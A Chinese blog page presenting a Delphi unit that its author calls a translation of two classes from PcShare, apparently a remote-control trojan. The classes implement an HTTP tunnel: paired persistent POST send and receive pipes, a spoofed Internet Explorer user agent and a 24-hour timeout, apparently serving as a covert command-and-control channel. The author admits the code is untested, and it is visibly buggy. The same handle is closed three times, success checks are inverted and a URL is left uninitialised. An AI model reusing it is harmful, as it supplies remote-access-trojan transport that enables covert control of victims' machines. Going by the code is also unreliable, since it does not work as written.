您的位置：首页 > 理论基础 > 计算机网络

HTTP隧道通讯DELPHI封装

2008-09-09 15:30 267 查看

{
HTTP隧道通讯DELPHI封装，只通过语法检查，没测试。
By 雪落的瞬间 QQ 418880764
BLOG http://hi.baidu.com/cipherteam/
BBS http://www.killabc.cn
完全翻译PcShare2个类代码。
}
unit hTTPPIDE;

interface
uses
Windows,Shellapi,SysUtils,Variants,WinSock,Wininet,Classes;

type
THttpBase = Class
private
hHttpIe :hInternet;
hHttpHc :hInternet ;
public
hHttpFp:hInternet;
Function ConnectHttpServer(m_ServerAddr:Pchar;m_ServerPort:Word;nCmd,nStyle:DWord):Bool;
procedure StopWork();
constructor Create;
destructor Destroy; override;
End;

THttpPipeBase = Class
private
m_PipeSend,m_PipeRecv:THttpBase;
public
procedure StopWork();
Function StartWork(m_ServerAddr:Pchar;m_ServerPort,nSend,nRecv:Word):Bool;
Function SendData(PData:Pchar;nLen:DWORD):bool;
Function RecvData(PData:Pchar;nLen:DWORD):bool;
constructor Create;
destructor Destroy; override;
End;

implementation

constructor THttpBase.Create;
begin
hHttpIe:=Nil;
hHttpHc:=Nil;
hHttpFp:=Nil;
end;

destructor THttpBase.Destroy;
begin
StopWork;
inherited destroy;
end;

procedure THttpBase.StopWork();
begin
if hHttpFp <> nil then
begin
InternetCloseHandle(hHttpFp);
end;

if hHttpHc <> nil then
begin
InternetCloseHandle(hHttpFp);
end;

if hHttpIe <> nil then
begin
InternetCloseHandle(hHttpFp);
end;
end;
{
** 函数名称: ConnectHttpServer
** 函数功能: 连接到服务器
** 传入参数: m_ServerAddr : 服务器IP
m_ServerPort : 服务器端口
nCmd : 连接类型
** 传出参数: 无
** 引用函数: 无
** 返回值 : 布尔型
** 备注 :
}
Function THttpBase.ConnectHttpServer(m_ServerAddr:Pchar;m_ServerPort:Word;nCmd,nStyle:DWord):Bool;
var
m_Url:Pchar; //客户端信息
m_TimeOut:DWord; //超时等待
begin
//中断上次连接
StopWork();

//检查数据有效性
if (length(m_ServerAddr) = 0) or (m_ServerPort =0) then result:=False;

//初始化HTTP环境
hHttpIe:= InternetOpen('Mozilla/4.0 (compatible; MSIE 6.0'+
'Windows NT 5.0; .NET CLR 1.1.4322)',
INTERNET_OPEN_TYPE_PRECONFIG,nil,nil,0);
if(hHttpIe =nil) then Result:= FALSE;

//填充主机地址
hHttpHc := InternetConnect(hHttpIe,
m_ServerAddr , m_ServerPort , nil,
nil , INTERNET_SERVICE_HTTP,0,0);

if(hHttpHc =nil) then Result:= FALSE;

hHttpFp := HttpOpenRequest(hHttpHc,
'POST',m_Url,nil,nil,nil,nStyle,0);

if(hHttpFp =nil) then Result:= FALSE;

m_TimeOut := 24 * 3600 * 1000;
if(InternetSetOption(hHttpFp,
INTERNET_OPTION_RECEIVE_TIMEOUT,@m_TimeOut,sizeof(DWORD)))then
begin
StopWork();
Result:= FALSE;
end;

Result:= TRUE;
end;

//管道类
constructor THttpPipeBase.Create;
begin
m_PipeRecv:=THttpBase.Create;
m_PipeSend:=THttpBase.Create;
end;

destructor THttpPipeBase.Destroy;
begin
m_PipeRecv.Free;
m_PipeSend.Free;
inherited destroy;
end;

Function THttpPipeBase.StartWork(m_ServerAddr:Pchar;m_ServerPort,nSend,nRecv:Word):Bool;
var
BufferIn:INTERNET_BUFFERS;
begin

//创建接收管道
if(m_PipeRecv.ConnectHttpServer(
m_ServerAddr, m_ServerPort, nRecv,
INTERNET_FLAG_PRAGMA_NOCACHE or
INTERNET_FLAG_NO_CACHE_WRITE or
INTERNET_FLAG_RELOAD))then

begin
StopWork();
Result:= FALSE;
end;

//连接接收管道
if(HttpSendRequest(m_PipeRecv.hHttpFp , nil , 0 , nil, 0))then
begin
StopWork();
Result:= FALSE;
end;

//创建发送管道
if(m_PipeSend.ConnectHttpServer(
m_ServerAddr, m_ServerPort, nSend,
INTERNET_FLAG_PRAGMA_NOCACHE or
INTERNET_FLAG_NO_CACHE_WRITE or
INTERNET_FLAG_RELOAD)) then

begin
StopWork();
Result:= FALSE;
end;

//连接发送管道
Zeromemory(@BufferIn,sizeof( INTERNET_BUFFERS));
BufferIn.dwStructSize := sizeof( INTERNET_BUFFERS );
BufferIn.dwBufferTotal := 1024 * 1024 * 1024 + 973741824;
if(HttpSendRequestEx(m_PipeSend.hHttpFp,
@BufferIn,nil,HSR_INITIATE,0))then

begin
StopWork();
Result:= FALSE;
end;

Result:= TRUE;
end;

Function THttpPipeBase.SendData(PData:Pchar;nLen:DWORD):bool;
var
dwBytesWritten:DWord;
begin
dwBytesWritten:=0;
//发送数据
if(InternetWriteFile(m_PipeSend.hHttpFp ,
pData , nLen , dwBytesWritten))then
begin
Result:= FALSE;
end else begin
Result:= True;
end;
end;

Function THttpPipeBase.RecvData(PData:Pchar;nLen:DWORD):bool;
var
P:Pchar;
dwNumberOfBytesReaded,dwNumberOfBytesToRead:DWORD;
begin
p:=PData;
dwNumberOfBytesToRead:=nLen;
dwNumberOfBytesReaded:= 0;
while(dwNumberOfBytesToRead > 0) do
begin
if(InternetReadFile(m_PipeRecv.hHttpFp,p,
dwNumberOfBytesToRead,&dwNumberOfBytesReaded))then
begin
Result:= FALSE;
end;

if(dwNumberOfBytesReaded = 0) then
begin
Result:= FALSE;
end;

p := p+dwNumberOfBytesReaded;
dwNumberOfBytesToRead := dwNumberOfBytesToRead-dwNumberOfBytesReaded;
end;
Result:= True;
end;

procedure THttpPipeBase.StopWork();
begin
m_PipeRecv.StopWork();
m_PipeSend.StopWork();
end;

end.

内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理

标签：

相关文章推荐

新的分享

章节导航